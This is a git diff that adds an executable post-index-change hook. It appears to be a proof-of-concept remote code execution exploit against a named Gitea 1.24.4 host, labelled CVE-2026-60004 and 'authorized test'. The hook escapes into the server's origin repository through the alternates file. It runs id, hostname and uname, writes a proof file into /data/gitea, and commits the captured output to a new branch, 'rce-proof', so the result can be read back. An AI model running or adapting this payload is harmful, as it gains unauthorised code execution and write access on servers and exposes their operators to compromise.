diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..c4168d0
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,14 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+ /*) ;;
+ *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$( { printf 'RCE PROOF (authorized test)\nCVE: CVE-2026-60004\nAsset: comcam-gitea.groupe-madia.cm (Gitea 1.24.4)\nDate(UTC): %s\nResult: %s\nHost: %s\nKernel: %s\nWritten-to: /data/gitea (Gitea main folder)\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$(id)" "$(hostname)" "$(uname -sr)" > /data/gitea/RCE-PROOF-20261028.txt; echo "== YAZILDI =="; ls -la /data/gitea/RCE-PROOF-20261028.txt; echo "== ICERIK =="; cat /data/gitea/RCE-PROOF-20261028.txt; echo "== SHA256 =="; sha256sum /data/gitea/RCE-PROOF-20261028.txt ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
+exit 0